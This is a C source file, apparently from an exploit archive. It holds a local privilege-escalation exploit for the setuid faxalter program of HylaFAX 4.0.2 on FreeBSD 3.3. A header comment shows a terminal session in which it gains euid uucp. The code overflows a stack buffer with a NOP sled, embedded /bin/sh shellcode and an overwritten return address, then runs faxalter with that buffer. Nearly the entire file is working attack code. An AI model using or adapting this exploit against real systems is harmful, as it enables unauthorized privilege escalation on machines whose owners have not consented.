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C/C++ Source or Header
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2005-02-12
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2KB
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59 lines
/* EXPLOIT
bash-2.03$ uname -a; ls -la `which faxalter`; id
FreeBSD 3.3-RELEASE FreeBSD 3.3-RELEASE #0: Thu Sep 16 23:40:35 GMT
1999
jkh@highwing.cdrom.com:/usr/src/sys/compile/GENERIC i386
-r-sr-xr-x 1 uucp bin 72332 Sep 11 03:32 /usr/local/bin/faxalter
uid=1000(xnec) gid=1000(xnec) groups=1000(xnec), 0(wheel)
bash-2.03$ /home/xnec/faxalterx
$ id
uid=1000(xnec) euid=66(uucp) gid=1000(xnec) groups=1000(xnec), 0(wheel)
$
*/
/*
* Faxalter exploit for FreeBSD 3.3/hylafax-4.0.2 yields euid=66(uucp)
* Brock Tellier btellier@usa.net
*/
#include <stdio.h>
char shell[]= /* mudge@lopht.com */
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
main (int argc, char *argv[] ) {
int x = 0;
int y = 0;
int offset = 0;
int bsize = 4093; /* overflowed buf's bytes + 4(ebp) + 4(eip) + 1 */
char buf[bsize];
int eip = 0xbfbfcfad;
if (argv[1]) {
offset = atoi(argv[1]);
eip = eip + offset;
}
fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);
for ( x = 0; x < 4021; x++) buf[x] = 0x90;
fprintf(stderr, "NOPs to %d\n", x);
for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
fprintf(stderr, "Shellcode to %d\n",x);
buf[x++] = eip & 0x000000ff;
buf[x++] = (eip & 0x0000ff00) >> 8;
buf[x++] = (eip & 0x00ff0000) >> 16;
buf[x++] = (eip & 0xff000000) >> 24;
fprintf(stderr, "eip to %d\n",x);
buf[bsize - 1]='\0';
execl("/usr/local/bin/faxalter", "faxalter", "-m", buf, NULL);
}